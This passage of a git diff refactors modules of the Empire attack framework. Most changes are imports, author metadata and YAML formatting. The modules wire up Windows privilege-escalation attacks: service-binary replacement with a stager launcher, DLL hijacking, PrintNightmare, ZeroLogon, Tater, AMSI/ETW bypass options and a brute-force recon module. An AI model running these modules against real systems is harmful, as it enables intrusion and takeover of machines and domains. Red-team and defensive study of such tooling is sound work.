script_end: Restore-ServiceBinary {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Restore-ServiceBinary completed'
diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py
index ed6eea65d..70e594223 100644
--- a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py
+++ b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -34,10 +30,9 @@ def generate(
# # get just the code needed for the specified function
# script = helpers.generate_dynamic_powershell_script(moduleCode, "Write-ServiceEXECMD")
- script = module_code
# generate the .bat launcher code to write out to the specified location
- launcher = main_menu.stagers.stagers["windows/launcher_bat"]
+ launcher = main_menu.stagertemplatesv2.new_instance("windows_launcher_bat")
launcher.options["Listener"]["Value"] = params["Listener"]
launcher.options["UserAgent"]["Value"] = params["UserAgent"]
launcher.options["Proxy"]["Value"] = params["Proxy"]
@@ -67,7 +62,7 @@ def generate(
+ '" -Command "C:\\Windows\\System32\\cmd.exe /C $tempLoc"'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.yaml b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.yaml
index 7bd3db807..59b0c2181 100644
--- a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.yaml
+++ b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.yaml
@@ -1,9 +1,11 @@
name: Install-ServiceBinary
authors:
- - '@harmj0y'
-description: Backs up a service's binary and replaces the original with a binary that
- launches a stager.bat.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Backs up a service's binary and replaces the original with a binary that launches a stager.bat.
software: S0194
+tactics: []
techniques:
- T1087
- T1038
@@ -37,22 +39,24 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -60,10 +64,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'privesc/PowerUp.ps1'
+script_path: privesc/PowerUp.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_useradd.yaml b/empire/server/modules/powershell/privesc/powerup/service_exe_useradd.yaml
index e7f5b73ff..b61d82ce8 100644
--- a/empire/server/modules/powershell/privesc/powerup/service_exe_useradd.yaml
+++ b/empire/server/modules/powershell/privesc/powerup/service_exe_useradd.yaml
@@ -1,9 +1,11 @@
name: Install-ServiceBinary
authors:
- - '@harmj0y'
-description: Backs up a service's binary and replaces the original with a binary that
- creates/adds a local administrator.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Backs up a service's binary and replaces the original with a binary that creates/adds a local administrator.
software: S0194
+tactics: []
techniques:
- T1087
- T1038
@@ -43,7 +45,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -51,5 +53,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'privesc/PowerUp.ps1'
+script_path: privesc/PowerUp.ps1
script_end: Install-ServiceBinary {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Install-ServiceBinary completed'
diff --git a/empire/server/modules/powershell/privesc/powerup/service_stager.py b/empire/server/modules/powershell/privesc/powerup/service_stager.py
index 60489b3e6..8c8e464be 100644
--- a/empire/server/modules/powershell/privesc/powerup/service_stager.py
+++ b/empire/server/modules/powershell/privesc/powerup/service_stager.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -34,7 +30,7 @@ def generate(
service_name = params["ServiceName"]
# generate the .bat launcher code to write out to the specified location
- launcher = main_menu.stagers.stagers["windows/launcher_bat"]
+ launcher = main_menu.stagertemplatesv2.new_instance("windows_launcher_bat")
launcher.options["Listener"]["Value"] = params["Listener"]
launcher.options["UserAgent"]["Value"] = params["UserAgent"]
launcher.options["Proxy"]["Value"] = params["Proxy"]
@@ -57,7 +53,7 @@ def generate(
+ '" -Command "C:\\Windows\\System32\\cmd.exe /C `"$env:Temp\\debug.bat`""'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/powerup/service_stager.yaml b/empire/server/modules/powershell/privesc/powerup/service_stager.yaml
index bcb5ba385..36e710d8f 100644
--- a/empire/server/modules/powershell/privesc/powerup/service_stager.yaml
+++ b/empire/server/modules/powershell/privesc/powerup/service_stager.yaml
@@ -1,8 +1,11 @@
name: Invoke-ServiceAbuse
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Modifies a target service to execute an Empire stager.
software: S0194
+tactics: []
techniques:
- T1087
- T1038
@@ -32,8 +35,7 @@ options:
required: true
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -41,10 +43,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'privesc/PowerUp.ps1'
+script_path: privesc/PowerUp.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/powerup/service_useradd.yaml b/empire/server/modules/powershell/privesc/powerup/service_useradd.yaml
index 30d76bc7a..c2eae49fc 100644
--- a/empire/server/modules/powershell/privesc/powerup/service_useradd.yaml
+++ b/empire/server/modules/powershell/privesc/powerup/service_useradd.yaml
@@ -1,9 +1,11 @@
name: Invoke-ServiceAbuse
authors:
- - '@harmj0y'
-description: Modifies a target service to create a local user and add it to the local
- administrators.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Modifies a target service to create a local user and add it to the local administrators.
software: S0194
+tactics: []
techniques:
- T1087
- T1038
@@ -43,7 +45,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -51,5 +53,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'privesc/PowerUp.ps1'
+script_path: privesc/PowerUp.ps1
script_end: Invoke-ServiceAbuse {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-ServiceAbuse completed'
diff --git a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py
index 36a7c3a14..9fdac90e0 100644
--- a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py
+++ b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
if (params["Obfuscate"]).lower() == "true":
launcher_obfuscate = True
@@ -30,7 +26,7 @@ def generate(
module_name = "Write-HijackDll"
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -53,7 +49,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -76,7 +72,7 @@ def generate(
+ ' completed!"'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.yaml b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.yaml
index 0c12b35f7..125adf2c2 100644
--- a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.yaml
+++ b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.yaml
@@ -1,11 +1,15 @@
name: Write-HijackDll
authors:
- - leechristensen (@tifkin_)
- - '@harmj0y'
-description: Writes out a hijackable .dll to the specified path along with a stager.bat
- that's called by the .dll. wlbsctrl.dll works well for Windows 7. The machine will
- need to be restarted for the privesc to work.
+ - name: leechristensen (@tifkin_)
+ handle: ''
+ link: ''
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Writes out a hijackable .dll to the specified path along with a stager.bat that's called by the .dll. wlbsctrl.dll
+ works well for Windows 7. The machine will need to be restarted for the privesc to work.
software: S0194
+tactics: []
techniques:
- T1087
- T1038
@@ -35,22 +39,24 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -58,14 +64,13 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
diff --git a/empire/server/modules/powershell/privesc/printdemon.yaml b/empire/server/modules/powershell/privesc/printdemon.yaml
index d5a3359c1..fc3a81811 100644
--- a/empire/server/modules/powershell/privesc/printdemon.yaml
+++ b/empire/server/modules/powershell/privesc/printdemon.yaml
@@ -1,14 +1,17 @@
name: Get Group Policy Preferences
authors:
- - '@hubbl3'
- - '@Cx01N'
-description: This is an Empire launcher PoC using PrintDemon, the CVE-2020-1048 is
- a privilege escalation vulnerability that allows a persistent threat through Windows
- Print Spooler. The vulnerability allows an unprivileged user to gain system-level
- privileges. Based on @ionescu007 PoC. The module prints a dll named ualapi.dll which
- is loaded to System32. The module then places a launcher in the registry which executes
- code as system on restart.
+ - name: Jake Krasnov
+ handle: '@hubbl3'
+ link: https://twitter.com/_hubbl3
+ - name: Anthony Rose
+ handle: '@Cx01N'
+ link: https://twitter.com/Cx01N_
+description: This is an Empire launcher PoC using PrintDemon, the CVE-2020-1048 is a privilege escalation vulnerability that
+ allows a persistent threat through Windows Print Spooler. The vulnerability allows an unprivileged user to gain system-level
+ privileges. Based on @ionescu007 PoC. The module prints a dll named ualapi.dll which is loaded to System32. The module then
+ places a launcher in the registry which executes code as system on restart.
software: ''
+tactics: []
techniques:
- T1038
background: false
@@ -32,5 +35,5 @@ options:
description: Optional name for the registered printer
required: false
value: ''
-script_path: 'privesc/Invoke-PrintDemon.ps1'
-script_end: Invoke-PrintDemon {{ PARAMS }}
\ No newline at end of file
+script_path: privesc/Invoke-PrintDemon.ps1
+script_end: Invoke-PrintDemon {{ PARAMS }}
diff --git a/empire/server/modules/powershell/privesc/printnightmare.yaml b/empire/server/modules/powershell/privesc/printnightmare.yaml
index 99dbd9b44..e78303801 100644
--- a/empire/server/modules/powershell/privesc/printnightmare.yaml
+++ b/empire/server/modules/powershell/privesc/printnightmare.yaml
@@ -1,10 +1,12 @@
name: PrintNightmare
authors:
- - '@Cx01N'
-description: Exploits CVE-2021-1675 (PrintNightmare) locally to add a new local administrator
- user with a known password. Optionally, this can be used to execute your own
- custom DLL to execute any other code as NT AUTHORITY\SYSTEM.
+ - name: Anthony Rose
+ handle: '@Cx01N'
+ link: https://twitter.com/Cx01N_
+description: Exploits CVE-2021-1675 (PrintNightmare) locally to add a new local administrator user with a known password.
+ Optionally, this can be used to execute your own custom DLL to execute any other code as NT AUTHORITY\SYSTEM.
software: ''
+tactics: []
techniques:
- T1068
background: false
@@ -22,7 +24,7 @@ options:
value: ''
- name: DriverName
description: 'The name of the new printer driver to add (default: "Totally Not Malicious")'
- required: False
+ required: false
value: ''
- name: NewUser
description: 'The name of the new user to create when using the default DLL (default: "adm1n")'
@@ -33,8 +35,9 @@ options:
required: false
value: ''
- name: DLL
- description: 'The DLL to execute when loading the printer driver (default: a builtin payload which creates the specified user, and adds the new user to the local administrators group).'
+ description: 'The DLL to execute when loading the printer driver (default: a builtin payload which creates the specified
+ user, and adds the new user to the local administrators group).'
required: false
value: ''
-script_path: 'privesc/Invoke-Printnightmare.ps1'
-script_end: Invoke-Nightmare {{ PARAMS }}
\ No newline at end of file
+script_path: privesc/Invoke-Printnightmare.ps1
+script_end: Invoke-Nightmare {{ PARAMS }}
diff --git a/empire/server/modules/powershell/privesc/privesccheck.yaml b/empire/server/modules/powershell/privesc/privesccheck.yaml
index 95906ba8a..dc16877bf 100644
--- a/empire/server/modules/powershell/privesc/privesccheck.yaml
+++ b/empire/server/modules/powershell/privesc/privesccheck.yaml
@@ -1,8 +1,11 @@
name: PrivescCheck
authors:
- - '@itm4n'
+ - name: ''
+ handle: '@itm4n'
+ link: ''
description: Find Windows local privilege escalation vulnerabilities.
software: ''
+tactics: []
techniques:
- T1046
background: true
@@ -29,7 +32,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -37,5 +40,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'privesc/PrivescCheck.ps1'
+script_path: privesc/PrivescCheck.ps1
script_end: Invoke-PrivescCheck {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'PrivescCheck completed'
diff --git a/empire/server/modules/powershell/privesc/sherlock.yaml b/empire/server/modules/powershell/privesc/sherlock.yaml
index dc0740a1a..8264cd2c4 100644
--- a/empire/server/modules/powershell/privesc/sherlock.yaml
+++ b/empire/server/modules/powershell/privesc/sherlock.yaml
@@ -1,8 +1,11 @@
name: Sherlock
authors:
- - '@_RastaMouse'
+ - name: 'Daniel Duggan'
+ handle: '@_RastaMouse'
+ link: 'https://twitter.com/_rastamouse'
description: Find Windows local privilege escalation vulnerabilities.
software: ''
+tactics: []
techniques:
- T1046
background: true
@@ -21,7 +24,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -29,5 +32,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'privesc/Sherlock.ps1'
+script_path: privesc/Sherlock.ps1
script_end: Find-AllVulns | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};
diff --git a/empire/server/modules/powershell/privesc/sweetpotato.yaml b/empire/server/modules/powershell/privesc/sweetpotato.yaml
index 48e97b6cf..3391dd437 100644
--- a/empire/server/modules/powershell/privesc/sweetpotato.yaml
+++ b/empire/server/modules/powershell/privesc/sweetpotato.yaml
@@ -1,11 +1,15 @@
name: Sweet Potato Local Service to SYSTEM Privilege Escalation
authors:
- - '@_EthicalChaos_ (@CCob)'
- - '@kevin'
-description: Abuses default privileges given to Local Service accounts to spawn a
- process as SYSTEM. Tested on Server 2019 and Windows 10 1909 (Build 18363.1316).
- Run a Powershell stager or your own command.
+ - name: ''
+ handle: '@_EthicalChaos_ (@CCob)'
+ link: ''
+ - name: ''
+ handle: '@kevin'
+ link: ''
+description: Abuses default privileges given to Local Service accounts to spawn a process as SYSTEM. Tested on Server 2019
+ and Windows 10 1909 (Build 18363.1316). Run a Powershell stager or your own command.
software: ''
+tactics: []
techniques:
- T1068
background: false
@@ -37,5 +41,5 @@ options:
description: 'Exploit mode: [DCOM|WinRM|PrintSpoofer]. Default: PrintSpoofer'
required: false
value: ''
-script_path: 'privesc/Invoke-SweetPotato.ps1'
-script_end: Invoke-SweetPotato {{ PARAMS }}
\ No newline at end of file
+script_path: privesc/Invoke-SweetPotato.ps1
+script_end: Invoke-SweetPotato {{ PARAMS }}
diff --git a/empire/server/modules/powershell/privesc/tater.yaml b/empire/server/modules/powershell/privesc/tater.yaml
index 9503d36f5..a9809e1ad 100644
--- a/empire/server/modules/powershell/privesc/tater.yaml
+++ b/empire/server/modules/powershell/privesc/tater.yaml
@@ -1,9 +1,12 @@
name: Invoke-Tater
authors:
- - Kevin Robertson
-description: Tater is a PowerShell implementation of the Hot Potato Windows Privilege
- Escalation exploit from @breenmachine and @foxglovesec.
+ - name: Kevin Robertson
+ handle: ''
+ link: ''
+description: Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine
+ and @foxglovesec.
software: ''
+tactics: []
techniques:
- T1187
background: true
@@ -24,13 +27,13 @@ options:
required: false
value: ''
- name: SpooferIP
- description: IP address included in NBNS response. This is needed when using two
- hosts to get around an in-use port 80 on the privesc target.
+ description: IP address included in NBNS response. This is needed when using two hosts to get around an in-use port 80
+ on the privesc target.
required: false
value: ''
- name: Command
- description: Command to execute during privilege escalation. Do not wrap in quotes
- and use PowerShell character escapes where necessary.
+ description: Command to execute during privilege escalation. Do not wrap in quotes and use PowerShell character escapes
+ where necessary.
required: true
value: ''
- name: NBNS
@@ -38,18 +41,18 @@ options:
required: false
value: Y
- name: NBNSLimit
- description: Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing
- while hostname is resolving correctly (Y/N).
+ description: Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly
+ (Y/N).
required: false
value: Y
- name: Trigger
- description: Trigger type to use in order to trigger HTTP to SMB relay. 0 = None,
- 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task
+ description: Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update,
+ 2 = Windows 10 Webclient/Scheduled Task
required: false
value: '1'
- name: ExhaustUDP
- description: Enable/Disable UDP port exhaustion to force all DNS lookups to fail
- in order to fallback to NBNS resolution (Y/N).
+ description: Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution
+ (Y/N).
required: false
value: N
- name: HTTPPort
@@ -57,14 +60,12 @@ options:
required: false
value: '80'
- name: Hostname
- description: Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server
- 2008.
+ description: Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008.
required: false
value: WPAD
- name: WPADDirectHosts
- description: Comma separated list of hosts to include as direct in the wpad.dat
- file. Note that localhost is always listed as direct. Add the Empire host to avoid
- catching Empire HTTP traffic.
+ description: Comma separated list of hosts to include as direct in the wpad.dat file. Note that localhost is always listed
+ as direct. Add the Empire host to avoid catching Empire HTTP traffic.
required: false
value: ''
- name: WPADPort
@@ -72,19 +73,18 @@ options:
required: false
value: '80'
- name: TaskDelete
- description: Enable/Disable scheduled task deletion for trigger 2. If enabled, a
- random string will be added to the taskname to avoid failures after multiple trigger
- 2 runs.
+ description: Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname
+ to avoid failures after multiple trigger 2 runs.
required: false
value: Y
- name: Taskname
- description: Scheduled task name to use with trigger 2. If you observe that Tater
- does not work after multiple trigger 2 runs, try changing the taskname.
+ description: Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger
+ 2 runs, try changing the taskname.
required: false
value: Empire
- name: RunTime
description: Run time duration in minutes.
required: false
value: ''
-script_path: 'privesc/Invoke-Tater.ps1'
-script_end: Invoke-Tater -Tool "2" {{ PARAMS }}
\ No newline at end of file
+script_path: privesc/Invoke-Tater.ps1
+script_end: Invoke-Tater -Tool "2" {{ PARAMS }}
diff --git a/empire/server/modules/powershell/privesc/watson.yaml b/empire/server/modules/powershell/privesc/watson.yaml
index 9945d46f6..e28adf30b 100644
--- a/empire/server/modules/powershell/privesc/watson.yaml
+++ b/empire/server/modules/powershell/privesc/watson.yaml
@@ -1,10 +1,14 @@
name: Invoke-Watson
authors:
- - '@_RastaMouse'
- - '@S3cur3Th1sSh1t'
-description: Watson is a .NET tool designed to enumerate missing KBs and suggest exploits
- for Privilege Escalation vulnerabilities.
+ - name: 'Daniel Duggan'
+ handle: '@_RastaMouse'
+ link: 'https://twitter.com/_rastamouse'
+ - name: ''
+ handle: '@S3cur3Th1sSh1t'
+ link: https://twitter.com/ShitSecure
+description: Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.
software: ''
+tactics: []
techniques:
- T1068
background: true
@@ -20,5 +24,5 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'privesc/Invoke-Watson.ps1'
+script_path: privesc/Invoke-Watson.ps1
script_end: Invoke-Watson | %{$_ + "`n"}; 'Invoke-Watson completed'
diff --git a/empire/server/modules/powershell/privesc/winPEAS.yaml b/empire/server/modules/powershell/privesc/winPEAS.yaml
index 1838cd078..e9eb781d0 100644
--- a/empire/server/modules/powershell/privesc/winPEAS.yaml
+++ b/empire/server/modules/powershell/privesc/winPEAS.yaml
@@ -1,10 +1,14 @@
name: Invoke-winPEAS
authors:
- - '@carlospolop'
- - '@S3cur3Th1sSh1t'
-description: WinPEAS is a script that search for possible paths to escalate privileges
- on Windows hosts.
+ - name: ''
+ handle: '@carlospolop'
+ link: ''
+ - name: ''
+ handle: '@S3cur3Th1sSh1t'
+ link: https://twitter.com/ShitSecure
+description: WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts.
software: ''
+tactics: []
techniques:
- T1046
background: false
@@ -76,8 +80,8 @@ options:
description: Disable colored output.
required: true
value: 'False'
-script_path: 'privesc/Invoke-winPEAS.ps1'
-script_end: "Invoke-winPEAS -Command \"{{ PARAMS }}\""
+script_path: privesc/Invoke-winPEAS.ps1
+script_end: Invoke-winPEAS -Command "{{ PARAMS }}"
advanced:
- option_format_string: "{{ VALUE }}"
- option_format_string_boolean: ""
+ option_format_string: '{{ VALUE }}'
+ option_format_string_boolean: ''
diff --git a/empire/server/modules/powershell/privesc/zerologon.yaml b/empire/server/modules/powershell/privesc/zerologon.yaml
index 12ce4440c..23d743bc3 100644
--- a/empire/server/modules/powershell/privesc/zerologon.yaml
+++ b/empire/server/modules/powershell/privesc/zerologon.yaml
@@ -1,12 +1,16 @@
name: Get Group Policy Preferences
authors:
- - '@hubbl3'
- - '@Cx01N'
-description: CVE-2020-1472 or ZeroLogon exploits a flaw in the Netlogon protocol to
- allow anyone on the network to reset the domain administrators hash and elevate
- their privileges. This will change the password of the domain controller account
+ - name: Jake Krasnov
+ handle: '@hubbl3'
+ link: https://twitter.com/_hubbl3
+ - name: Anthony Rose
+ handle: '@Cx01N'
+ link: https://twitter.com/Cx01N_
+description: CVE-2020-1472 or ZeroLogon exploits a flaw in the Netlogon protocol to allow anyone on the network to reset the
+ domain administrators hash and elevate their privileges. This will change the password of the domain controller account
and may break communication with other domain controllers. So, be careful!
software: ''
+tactics: []
techniques:
- T1548
background: false
@@ -30,5 +34,5 @@ options:
description: Reset target computers password to the default NTLM hash
required: false
value: 'False'
-script_path: 'privesc/Invoke-ZeroLogon.ps1'
-script_end: Invoke-ZeroLogon {{ PARAMS }}
\ No newline at end of file
+script_path: privesc/Invoke-ZeroLogon.ps1
+script_end: Invoke-ZeroLogon {{ PARAMS }}
diff --git a/empire/server/modules/powershell/recon/fetch_brute_local.py b/empire/server/modules/powershell/recon/fetch_brute_local.py
index e33d3a4df..020b47b61 100644
--- a/empire/server/modules/powershell/recon/fetch_brute_local.py
+++ b/empire/server/modules/powershell/recon/fetch_brute_local.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,7 +11,7 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
@@ -26,7 +23,7 @@ def generate(
Loginpass = params["Loginpass"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -46,7 +43,7 @@ def generate(
if len(Loginpass) >= 1:
script_end += " -lpass " + Loginpass
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/recon/fetch_brute_local.yaml b/empire/server/modules/powershell/recon/fetch_brute_local.yaml
index 9144185b5..1f0c58885 100644
--- a/empire/server/modules/powershell/recon/fetch_brute_local.yaml
+++ b/empire/server/modules/powershell/recon/fetch_brute_local.yaml
@@ -1,11 +1,15 @@
name: Fetch local accounts on a member server and perform an online brute force attack
authors:
- - Maarten Hartsuijker
- - '@classityinfosec'
-description: This module will logon to a member server using the agents account or
- a provided account, fetch the local accounts and perform a network based brute force
- attack.
+ - name: Maarten Hartsuijker
+ handle: ''
+ link: ''
+ - name: ''
+ handle: '@classityinfosec'
+ link: ''
+description: This module will logon to a member server using the agents account or a provided account, fetch the local accounts
+ and perform a network based brute force attack.
software: ''
+tactics: []
techniques:
- T1110
background: true
@@ -15,17 +19,15 @@ opsec_safe: true
language: powershell
min_language_version: '2'
comments:
- - Inspired by Xfocus X-Scan. Recent Windows versions won't allow you to query userinfo
- using regular domain accounts, but on 2003/2008 member servers, the module might
- prove to be useful.
+ - Inspired by Xfocus X-Scan. Recent Windows versions won't allow you to query userinfo using regular domain accounts, but
+ on 2003/2008 member servers, the module might prove to be useful.
options:
- name: Agent
description: Agent to run the module on.
required: true
value: ''
- name: Loginacc
- description: Allows you to query the servers using credentials other than the credentials
- the agent is running as
+ description: Allows you to query the servers using credentials other than the credentials the agent is running as
required: false
value: ''
- name: Loginpass
@@ -37,15 +39,13 @@ options:
required: false
value: Window*Server*
- name: Passlist
